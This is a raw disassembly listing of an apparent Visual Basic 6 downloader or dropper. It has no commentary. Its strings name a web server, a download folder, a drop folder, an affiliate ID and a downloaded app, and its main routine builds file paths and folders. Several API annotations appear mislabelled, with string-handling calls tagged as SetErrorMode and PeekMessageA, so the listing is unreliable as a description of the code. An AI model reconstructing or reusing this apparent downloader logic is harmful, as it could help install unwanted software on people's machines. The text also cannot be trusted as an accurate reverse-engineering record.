		dd 35003Fh, 15003Fh, 1F003Fh, 3F003Fh, 76003Fh,	2 dup(3F003Fh)
		dd 60007Ch, 2 dup(3F003Fh), 3F0038h, 3F005Fh, 3F007Bh
		dd 4A003Fh, 7E003Fh, 7D0033h, 740004h, 23002Bh,	3F003Fh
		dd 3F0057h, 2 dup(3F003Fh), 3F00F8h, 3F003Fh, 3F0010h
		dd 710006h, 3F003Fh, 5D003Fh, 2	dup(3F003Fh), 14003Fh
		dd 3B007Fh, 2 dup(3F003Fh), 4D0050h, 7F003Fh, 4A017Eh
		dd 80066h, 0
		dd 18h,	750042h, 64006Eh, 65006Ch, 610042h, 650073h, 2E0031h
		dd 0
		dd 2, 2Fh, 0Eh,	3F002Fh, 6F0063h, 650064h, 3Dh,	0A4C466B8h
		dd 101B499Fh, 0AA0078BBh, 0BB3C3800h, 2	dup(0)
		dd 34h,	630053h, 690072h, 740070h, 6E0069h, 2E0067h, 690046h
		dd 65006Ch, 790053h, 740073h, 6D0065h, 62004Fh,	65006Ah
		dd 740063h, 0
aFolderexists:
		unicode	0, <FolderExists>,0
		align 4
aCreatefolder:
		unicode	0, <CreateFolder>,0
		align 4
		dd 12h,	4F0074h, 730061h, 2E0046h, 6F006Ch, 67h, 720043h
		dd 610065h, 650074h, 650054h, 740078h, 690046h,	65006Ch
		dd 0
aWriteline:
		unicode	0, <WriteLine>,0
aGetfile:
		unicode	0, <GetFile>,0
aDelete:
		unicode	0, <Delete>,0
		align 4
aVba6_dll	db 'VBA6.DLL',0
		align 10h
a__vbavarsetobj	db '__vbaVarSetObjAddref',0
		align 4
a__vbaobjvar	db '__vbaObjVar',0
a__vbalatememca	db '__vbaLateMemCall',0
		align 4
a__vbavarlateme	db '__vbaVarLateMemCallLd',0
		align 10h
a__vbavarsetvar	db '__vbaVarSetVar',0
		align 10h
a__vbaerrorover	db '__vbaErrorOverflow',0
		align 4
a__vbalenbstr	db '__vbaLenBstr',0
		align 8
a__vbai2i4	db '__vbaI2I4',0
		align 4
a__vbastrcmp	db '__vbaStrCmp',0
a__vbai2var	db '__vbaI2Var',0
		align 4
a__vbaonerror	db '__vbaOnError',0
		align 4
a__vbaarymove	db '__vbaAryMove',0
		align 4
a__vbavartsteq	db '__vbaVarTstEq',0
		align 4
a__vbaarydestru	db '__vbaAryDestruct',0
		align 10h
a__vbafileclose	db '__vbaFileClose',0
		align 10h
a__vbaputowner3	db '__vbaPutOwner3',0
		align 10h
a__vbafileopen	db '__vbaFileOpen',0
		align 10h
a__vbavar2vec	db '__vbaVar2Vec',0
		align 10h
a__vbafreestrli	db '__vbaFreeStrList',0
		align 4
a__vbavarcat	db '__vbaVarCat',0
a__vbastrvarval	db '__vbaStrVarVal',0
		align 10h
a__vbavarcopy	db '__vbaVarCopy',0
		align 10h
a__vbavarindexl	db '__vbaVarIndexLoad',0
		align 4
a__vbafreevar	db '__vbaFreeVar',0
		align 4
a__vbavardup	db '__vbaVarDup',0
a__vbavarmove	db '__vbaVarMove',0
		align 10h
a__vbafreevarli	db '__vbaFreeVarList',0
		align 4
a__vbafreeobj	db '__vbaFreeObj',0
		align 4
a__vbaobjset	db '__vbaObjSet',0
		dd 0
a__vbalateidcal	db '__vbaLateIdCallLd',0
		align 4
a__vbastrvarmov	db '__vbaStrVarMove',0
a__vbafreestr	db '__vbaFreeStr',0
		align 4
a__vbahresultch	db '__vbaHresultCheckObj',0
		align 10h
a__vbastrcat	db '__vbaStrCat',0
a__vbastrmove	db '__vbaStrMove',0
		align 4
a__vbastrcopy	db '__vbaStrCopy',0
		align 4
		dd offset loc_402DAF+1
		dd offset loc_402ECF+1
		dd offset loc_402E3C
		dd offset loc_402E8F+1
		align 10h
		dd offset loc_402E88
		align 8
		dd offset loc_402E9B+1
		align 10h
		dd offset locret_402EBA+2
		dd offset loc_402EC8
		dd offset loc_402E64
		dd offset loc_402E72+2
		dd offset loc_402E47+1
		dd offset loc_402EA7+1
		dd offset loc_402EB4
		align 10h
		dd offset loc_402E2F+1
		dd offset loc_402E3C
		dd offset loc_402E47+1
		dd offset loc_402E52+2
		dd 7150008h, 0FFFFh, 0
		dd 60030008h, 402C10h, 3 dup(0)
		dd 10101Eh, 7190004h, 0FFFFh, 0
		dd 60030009h, 402BF0h, 3 dup(0)
		dd 101Eh, 7010108h, 0FFFFh, 0
		dd 60030003h, 402C00h, 3 dup(0)
		dd 26301Eh, 6FD000Ch, 0FFFFh, 0
		dd 60030002h, 402C18h, 3 dup(0)
		dd 0F0F101Eh, 7110004h,	0FFFFh,	0
		dd 60030007h, 402BF4h, 3 dup(0)
		dd 101Eh, 70D010Ch, 0FFFFh, 0
		dd 60030006h, 402C24h, 3 dup(0)
		dd 2330301Eh, 7050108h,	0FFFFh,	0
		dd 60030004h, 402BF8h, 3 dup(0)
		dd 23101Eh, 7090108h, 0FFFFh, 0
		dd 60030005h, 402C08h, 3 dup(0)
		dd 30301Eh, 0
		dd offset loc_402D87+1
		dd offset loc_402CA8+4
		dd offset loc_402C85+3
		dd offset loc_402D13+5
		dd offset loc_402D3B+1
		dd offset loc_402CF2+2
		dd offset loc_402CD0
		dd offset loc_402C3F+1
		dd offset loc_402C64
		dd 6F90010h, 0FFFFh, 0
		dd 60030001h, 402C30h, 3 dup(0)
		dd 1010101Eh, 10h, 0
		dd offset loc_40197C
		dd 0FFFFFFFFh, 3 dup(0)
		dd offset loc_402D5E+2
		align 10h
		dd offset loc_402BEC
		dd offset loc_402BEC
		dd offset loc_402BEC
		dd 3 dup(0)
		dd 44h,	4, 0
		dd offset loc_401BC9+3
		dd 0FFFFFFFFh, 0
		dd offset loc_402BEC
		align 10h
		dd 0FFFFFFFFh, 0
		dd offset loc_401D2D+3
		dd offset loc_401CCA+2
		dd offset loc_4062D7+1
		dd offset loc_401DAB+5
		dd offset loc_401D58
		dd offset loc_4062DC
aPgeodnlapp	db 'pGeoDnlApp',0
		align 4
aPdropfolder	db 'pDropFolder',0
aPwebserver	db 'pWebServer',0
		align 4
aPdownloadfolde	db 'pDownloadFolder',0
aPaffiliateid	db 'pAffiliateId',0
		align 4
aPclientapproot	db 'pClientAppRootName',0
		align 4
aPath		db 'path',0
		align 10h
aStrdirname	db 'strDirName',0
		align 4
aFilename	db 'Filename',0
		align 4
aFilepath	db 'filepath',0
		align 4
aFileext	db 'FileExt',0
aPfilepath	db 'pFilePath',0
		align 4
aPmsg		db 'pMsg',0
		align 10h
aPdownloadapp	db 'pDownloadApp',0
		align 10h
		dd 0E9E9E9E9h, 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	4011F6h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0F4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], 401128h
		mov	ebx, [ebp+8]
		mov	eax, ebx
		and	eax, 1
		mov	[ebp-4], eax
		and	ebx, 0FFFFFFFEh
		push	ebx
		mov	[ebp+8], ebx
		mov	ecx, [ebx]
		call	dword ptr [ecx+4]
		mov	esi, dword ptr ds:loc_4010CF+1
		xor	eax, eax
		mov	edx, offset sub_401E6C
		lea	ecx, [ebp-24h]
		mov	[ebp-18h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-20h], eax
		mov	[ebp-24h], eax
		mov	[ebp-28h], eax
		mov	[ebp-2Ch], eax
		mov	[ebp-30h], eax
		mov	[ebp-34h], eax
		mov	[ebp-38h], eax
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], eax
		mov	[ebp-50h], eax
		mov	[ebp-60h], eax
		mov	[ebp-70h], eax
		mov	[ebp-74h], eax
		mov	[ebp-78h], eax
		mov	[ebp-7Ch], eax
		mov	[ebp-80h], eax
		mov	[ebp-84h], eax
		mov	[ebp-88h], eax
		mov	[ebp-8Ch], eax
		mov	[ebp-90h], eax
		mov	[ebp-94h], eax
		mov	[ebp-0A4h], eax
		mov	[ebp-0B4h], eax
		mov	[ebp-0C4h], eax
		mov	[ebp-0D4h], eax
		mov	[ebp-0E4h], eax
		mov	[ebp-0E8h], eax
		call	esi	; SetErrorMode
		mov	edx, 401E7Ch
		lea	ecx, [ebp-38h]
		call	esi	; SetErrorMode
		mov	edx, 401E90h
		lea	ecx, [ebp-7Ch]
		call	esi	; SetErrorMode
		mov	edx, 401EA0h
		lea	ecx, [ebp-78h]
		call	esi	; SetErrorMode
		mov	edx, [ebp-78h]
		mov	esi, dword ptr ds:loc_401026+2
		push	401EB8h
		push	edx
		call	esi	; SetErrorMode
		mov	edi, dword ptr ds:loc_401105+3
		mov	edx, eax
		lea	ecx, [ebp-34h]
		call	edi	; PeekMessageA
		mov	edx, offset sub_401ED8
		lea	ecx, [ebp-1Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401EECh
		lea	ecx, [ebp-20h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401EFCh
		lea	ecx, [ebp-18h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F08h
		lea	ecx, [ebp-4Ch]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F2Ch
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_4010CF+1
		mov	eax, [ebx]
		lea	ecx, [ebp-0E8h]
		lea	edx, [ebp-80h]
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_40FC69
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_40FC69:				; CODE XREF: .data:0040FC55j
		xor	eax, eax
		cmp	word ptr [ebp-0E8h], 0FFFFh
		lea	ecx, [ebp-80h]
		setz	al
		neg	eax
		mov	[ebp-0F0h], eax
		call	dword ptr ds:loc_401118
		cmp	word ptr [ebp-0F0h], 0
		jz	short loc_40FCA6
		mov	edx, 401F68h
		lea	ecx, [ebp-74h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, 401F78h
		jmp	short loc_40FCB9
; ---------------------------------------------------------------------------


loc_40FCA6:				; CODE XREF: .data:0040FC8Fj
		mov	edx, 401F88h
		lea	ecx, [ebp-74h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, offset sub_401FA4


loc_40FCB9:				; CODE XREF: .data:0040FCA4j
		lea	ecx, [ebp-50h]
		call	dword ptr ds:loc_4010CF+1
		mov	ecx, [ebx]
		lea	edx, [ebp-0E8h]
		lea	eax, [ebp-34h]
		push	edx
		push	eax
		push	ebx
		call	dword ptr [ecx+700h]
		test	eax, eax
		jge	short loc_40FCEC
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_40FCEC:				; CODE XREF: .data:0040FCD8j
		cmp	word ptr [ebp-0E8h], 0
		jnz	loc_41058C
		mov	ecx, [ebp-4Ch]
		push	401FB8h
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_401FCC
		call	esi	; SetErrorMode
		sub	esp, 10h
		mov	ecx, 8
		mov	edx, esp
		mov	[ebp-0A4h], ecx
		mov	[ebp-9Ch], eax
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0A0h]
		push	16h
		push	ebx
		mov	[edx+4], ecx
		mov	ecx, [ebx]
		mov	[edx+8], eax
		mov	eax, [ebp-98h]
		mov	[edx+0Ch], eax
		call	dword ptr [ecx+2FCh]
		lea	edx, [ebp-94h]
		push	eax
		push	edx
		call	dword ptr ds:loc_401038
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	dword ptr ds:loc_401077+1
		add	esp, 20h
		push	eax
		call	dword ptr ds:loc_401013+1
		mov	edx, eax
		lea	ecx, [ebp-28h]
		call	edi	; PeekMessageA
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401118
		lea	ecx, [ebp-94h]
		call	dword ptr ds:loc_401118+4
		lea	ecx, [ebp-0B4h]
		lea	edx, [ebp-0A4h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		add	esp, 0Ch
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-0A4h]
		mov	dword ptr [ebp-0BCh], 401FFCh
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F3+1
		mov	ecx, [ebp-28h]
		push	0
		lea	eax, [ebp-0A4h]
		push	0FFFFFFFFh
		push	eax
		lea	edx, [ebp-0B4h]
		push	ecx
		push	edx
		call	dword ptr ds:loc_40108F+1
		lea	edx, [ebp-0B4h]
		lea	ecx, [ebp-70h]
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-0A4h]
		call	dword ptr ds:loc_40100C
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		mov	dword ptr [ebp-0DCh], 402004h
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+4], ecx
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		lea	ecx, [ebp-70h]
		push	1
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	ecx
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_40FEB0
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], offset sub_402010
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_40FEB0:				; CODE XREF: .data:0040FE8Bj
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0DCh], offset sub_402028
		mov	[edx+4], ecx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_40FF5A
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], offset sub_402034
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_40FF5A:				; CODE XREF: .data:0040FF35j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0DCh], offset sub_40204C
		mov	[edx+4], ecx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_410004
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], 402058h
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_410004:				; CODE XREF: .data:0040FFDFj
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0DCh], 402074h
		mov	[edx+4], ecx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_4100AE
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], offset sub_402084
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_4100AE:				; CODE XREF: .data:00410089j
		sub	esp, 10h
		mov	ecx, 2
		mov	edx, esp
		mov	[ebp-0C4h], ecx
		mov	eax, 1
		push	1
		mov	[edx], ecx
		mov	ecx, [ebp-0C0h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0DCh], 4020A0h
		mov	[edx+4], ecx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	dword ptr [ebp-0E4h], 8008h
		mov	[edx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[edx+0Ch], eax
		lea	edx, [ebp-0A4h]
		push	edx
		call	dword ptr ds:loc_401047+1
		add	esp, 1Ch
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		call	dword ptr ds:loc_401064
		lea	ecx, [ebp-0A4h]
		mov	[ebp-0ECh], ax
		call	dword ptr ds:loc_40100C
		cmp	word ptr [ebp-0ECh], 0
		jz	short loc_410158
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-48h]
		mov	dword ptr [ebp-0BCh], 4020B0h
		mov	dword ptr [ebp-0C4h], 8
		call	dword ptr ds:loc_4010F6+2


loc_410158:				; CODE XREF: .data:00410133j
		mov	ecx, [ebp-1Ch]
		mov	edx, [ebp-4Ch]
		mov	eax, [ebp-20h]
		mov	ebx, [ebx]
		push	ecx
		push	edx
		lea	ecx, [ebp-48h]
		push	eax
		lea	edx, [ebp-80h]
		push	ecx
		push	edx
		call	dword ptr ds:loc_4010A4
		mov	[ebp-0FCh], ebx
		mov	ebx, [ebp+8]
		push	eax
		mov	eax, [ebp-0FCh]
		push	ebx
		call	dword ptr [eax+6F8h]
		test	eax, eax
		jge	short loc_4101A1
		push	6F8h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_4101A1:				; CODE XREF: .data:0041018Dj
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401118
		mov	ecx, [ebp-20h]
		push	offset sub_4020CC
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	[ebp-9Ch], eax
		lea	edx, [ebp-0A4h]
		push	1
		lea	eax, [ebp-48h]
		push	edx
		lea	ecx, [ebp-0B4h]
		push	eax
		push	ecx
		mov	dword ptr [ebp-0A4h], 8
		call	dword ptr ds:loc_4010A7+1
		push	eax
		call	dword ptr ds:loc_40107F+1
		fstp	qword ptr [ebp-0BCh]
		lea	edx, [ebp-0C4h]
		lea	ecx, [ebp-60h]
		mov	dword ptr [ebp-0C4h], 5
		call	dword ptr ds:loc_401006+2
		lea	ecx, [ebp-80h]
		call	dword ptr ds:loc_401118
		lea	edx, [ebp-0B4h]
		lea	eax, [ebp-0A4h]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_401019+3
		mov	ecx, [ebp-38h]
		mov	eax, 8
		push	ecx
		mov	[ebp-0BCh], ecx
		mov	ecx, esp
		mov	[ebp-0C4h], eax
		sub	esp, 10h
		mov	edx, [ebx]
		mov	[ecx], eax
		mov	eax, [ebp-0D0h]
		mov	[ecx+4], eax
		mov	eax, [ebp-4Ch]
		mov	[ecx+8], eax
		mov	eax, [ebp-0C8h]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp-0C4h]
		mov	ecx, esp
		mov	[ecx], eax
		mov	eax, [ebp-0C0h]
		mov	[ecx+4], eax
		mov	eax, [ebp-0BCh]
		mov	[ecx+8], eax
		mov	eax, [ebp-0B8h]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp-24h]
		push	ecx
		push	ebx
		call	dword ptr [edx+6FCh]
		test	eax, eax
		jge	short loc_4102AF
		push	6FCh
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_4102AF:				; CODE XREF: .data:0041029Bj
		mov	edx, 40210Ch
		lea	ecx, [ebp-30h]
		call	dword ptr ds:loc_4010CF+1
		mov	edx, [ebp-30h]
		push	edx
		push	40210Ch
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-2Ch]
		call	edi	; PeekMessageA
		mov	eax, [ebp-2Ch]
		mov	ecx, [ebp-20h]
		mov	ebx, [ebx]
		push	eax
		push	offset sub_4020CC
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-18h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		mov	[ebp-100h], ebx
		mov	ebx, [ebp+8]
		push	eax
		mov	eax, [ebp-100h]
		push	ebx
		call	dword ptr [eax+714h]
		test	eax, eax
		jge	short loc_410349
		push	714h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_410349:				; CODE XREF: .data:00410335j
		lea	ecx, [ebp-8Ch]
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	4
		call	dword ptr ds:loc_4010D5+3
		mov	edx, [ebp-20h]
		add	esp, 14h
		push	offset sub_4020CC
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	ebx, [ebx]
		mov	[ebp-9Ch], eax
		lea	eax, [ebp-0A4h]
		lea	ecx, [ebp-48h]
		push	eax
		lea	edx, [ebp-0B4h]
		push	ecx
		push	edx
		mov	dword ptr [ebp-0A4h], 8
		call	dword ptr ds:loc_4010A7+1
		push	eax
		lea	eax, [ebp-84h]
		push	eax
		call	dword ptr ds:loc_4010A4
		mov	ecx, ebx
		mov	ebx, [ebp+8]
		push	eax
		push	ebx
		call	dword ptr [ecx+718h]
		test	eax, eax
		jge	short loc_4103E2
		push	718h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_4103E2:				; CODE XREF: .data:004103CEj
		lea	edx, [ebp-84h]
		lea	eax, [ebp-80h]
		push	edx
		push	eax
		push	2
		call	dword ptr ds:loc_4010D5+3
		lea	ecx, [ebp-0B4h]
		lea	edx, [ebp-0A4h]
		push	ecx
		push	edx
		push	2
		call	dword ptr ds:loc_401019+3
		mov	eax, [ebp-20h]
		add	esp, 18h
		push	offset sub_4020CC
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		mov	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-24h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-90h]
		call	edi	; PeekMessageA
		mov	eax, [ebx]
		lea	ecx, [ebp-0E8h]
		lea	edx, [ebp-90h]
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [eax+700h]
		test	eax, eax
		jge	short loc_410493
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_410493:				; CODE XREF: .data:0041047Fj
		xor	eax, eax
		cmp	word ptr [ebp-0E8h], 0FFFFh
		lea	ecx, [ebp-90h]
		lea	edx, [ebp-8Ch]
		setz	al
		neg	eax
		mov	[ebp-0F0h], eax
		push	ecx
		lea	eax, [ebp-88h]
		push	edx
		lea	ecx, [ebp-84h]
		push	eax
		lea	edx, [ebp-80h]
		push	ecx
		push	edx
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		cmp	word ptr [ebp-0F0h], 0
		jz	loc_41084E
		mov	eax, [ebp-20h]
		mov	ebx, [ebx]
		push	offset sub_4020CC
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		mov	ecx, [ebp-7Ch]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		mov	edx, [ebp-24h]
		push	eax
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-90h]
		call	edi	; PeekMessageA
		mov	esi, [ebp+8]
		push	eax
		push	esi
		call	dword ptr [ebx+718h]
		test	eax, eax
		jge	short loc_41055C
		push	718h
		push	401CBCh
		push	esi
		push	eax
		call	dword ptr ds:loc_40102C


loc_41055C:				; CODE XREF: .data:00410548j
		lea	eax, [ebp-90h]
		lea	ecx, [ebp-8Ch]
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		jmp	loc_41084E
; ---------------------------------------------------------------------------


loc_41058C:				; CODE XREF: .data:0040FCF4j
		mov	edx, [ebp-20h]
		push	offset sub_4020CC
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		push	eax
		mov	eax, [ebp-7Ch]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-90h]
		call	edi	; PeekMessageA
		mov	edx, [ebx]
		lea	eax, [ebp-0E8h]
		lea	ecx, [ebp-90h]
		push	eax
		push	ecx
		push	ebx
		call	dword ptr [edx+700h]
		test	eax, eax
		jge	short loc_410611
		push	700h
		push	401CBCh
		push	ebx
		push	eax
		call	dword ptr ds:loc_40102C


loc_410611:				; CODE XREF: .data:004105FDj
		xor	edx, edx
		cmp	word ptr [ebp-0E8h], 0FFFFh
		lea	eax, [ebp-90h]
		lea	ecx, [ebp-8Ch]
		setz	dl
		neg	edx
		mov	[ebp-0F0h], edx
		push	eax
		lea	edx, [ebp-88h]
		push	ecx
		lea	eax, [ebp-84h]
		push	edx
		lea	ecx, [ebp-80h]
		push	eax
		push	ecx
		push	5
		call	dword ptr ds:loc_4010D5+3
		add	esp, 18h
		cmp	word ptr [ebp-0F0h], 0
		jz	loc_410707
		mov	edx, [ebp-20h]
		mov	ebx, [ebx]
		push	offset sub_4020CC
		push	edx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-80h]
		call	edi	; PeekMessageA
		push	eax
		push	offset sub_4020D8
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-84h]
		call	edi	; PeekMessageA
		push	eax
		mov	eax, [ebp-7Ch]
		push	eax
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-88h]
		call	edi	; PeekMessageA
		mov	ecx, [ebp-24h]
		push	eax
		push	ecx
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-8Ch]
		call	edi	; PeekMessageA
		push	eax
		push	4020E0h
		call	esi	; SetErrorMode
		mov	edx, eax
		lea	ecx, [ebp-90h]
		call	edi	; PeekMessageA
		mov	edx, ebx
		mov	ebx, [ebp+8]
		push	eax
		push	ebx
